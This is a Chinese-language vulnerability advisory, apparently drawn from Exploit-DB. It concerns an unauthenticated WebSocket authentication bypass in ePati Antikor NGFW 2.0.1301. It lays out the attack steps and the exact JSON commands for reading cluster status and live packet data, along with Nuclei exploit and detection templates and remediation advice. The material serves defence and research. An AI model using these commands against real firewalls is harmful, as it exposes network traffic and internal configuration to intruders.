[webapps] ePati Antikor NGFW 2.0.1301 - Authentication Bypass

📋 漏洞基础信息

🔬 漏洞根因

WebSocket端点 /sock/{server_id}/{session_id}/websocket 未校验用户身份，允许任意未经认证的客户端直接连接并发送内部命令（komut），包括 rapor-dinle（监听集群状态）和 paket-liste-dinle（监听网络数据包）。

🎯 攻击场景

1. 确认目标IP和端口（默认8800）开启WebSocket服务。 2. 运行PoC，脚本自动生成随机SockJS的server_id和session_id。 3. 建立未经TLS证书验证的WebSocket连接。 4. 发送第一个JSON命令 'rapor-dinle' 请求集群状态数据。 5. 接收服务器返回的敏感系统信息。 6. 发送第二个JSON命令 'paket-liste-dinle' 请求实时网络数据包。 7. 接收并输出网络流量数据。 成功标志：服务端返回包含系统状态或网络包的JSON响应。

💥 漏洞影响

未经身份验证的远程攻击者可获取防火墙集群敏感配置信息和实时网络流量，导致数据泄露和内部网络拓扑暴露。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2026-2624-exploit

info:
  name: ePati Antikor NGFW 2.0.1301 - Authentication Bypass
  author: sadikerturk
  severity: critical
  description: Exploits authentication bypass vulnerability in ePati Antikor NGFW versions 2.0.1298 to 2.0.1301 via unauthenticated WebSocket access
  reference:
    - https://www.epati.com.tr/antikor-ngfw/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2624
  remediation: Upgrade to version 2.0.1302 or later
  tags: cve,cve2026,epati,ngfw,auth-bypass

variables:
  serverId: "123"
  sessionId: "abcdefgh"

http:
  - raw:
      - |
        GET /sock/{{serverId}}/{{sessionId}}/info HTTP/1.1
        Host: {{Hostname}}
        Upgrade: websocket
        Connection: Upgrade
        Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
        Sec-WebSocket-Version: 13

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "websocket"
          - "ok"
        part: body
    extractors:
      - type: regex
        name: serverId
        part: body
        regex:
          - '([0-9]+)/'

🔬 深度技术分析

PoC首先通过随机server_id和session_id构造SockJS WebSocket URL 'wss://target:8800/sock/{server_id}/{session_id}/websocket'，并忽略SSL证书错误进行连接；连接成功后依次发送两个JSON封装命令：第一个命令 '{"istekId":"req_init_01", "komut":"rapor-dinle", "parametreler":["cluster-durum"]}' 用于监听集群状态泄露系统数据；第二个命令 '{"istekId":"req_101", "komut":"paket-liste-dinle", "parametreler":[]}' 用于监听网络数据包；每次发送后等待1秒接收服务器响应并打印。

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: CVE-2026-2624-detection

info:
  name: ePati Antikor NGFW 2.0.1301 - Authentication Bypass Detection
  author: sadikerturk
  severity: critical
  description: Detects ePati Antikor NGFW versions 2.0.1298 to 2.0.1301 that are vulnerable to authentication bypass via WebSocket
  reference:
    - https://www.epati.com.tr/antikor-ngfw/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-2624
  remediation: Upgrade to version 2.0.1302 or later
  tags: cve,cve2026,epati,ngfw,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/login"
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Antikor NGFW"
          - "ePati"
        part: body
      - type: status
        status:
          - 200
    extractors:
      - type: regex
        name: version
        part: body
        regex:
          - 'v\.([0-9]+\.[0-9]+\.[0-9]+)'
          - 'V([0-9]+\.[0-9]+\.[0-9]+)'

🛡️ 修复建议

升级至v2.0.1302及以上版本；在Apache/Nginx反向代理层面限制对 /sock/ 路径的访问，仅允许受信任IP；在防火墙上关闭WebSocket服务端口或添加访问控制列表。

📎 参考链接

• Exploit-DB 原文

🚨 威胁评估

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-21 08:09 | 来源: Exploit-DB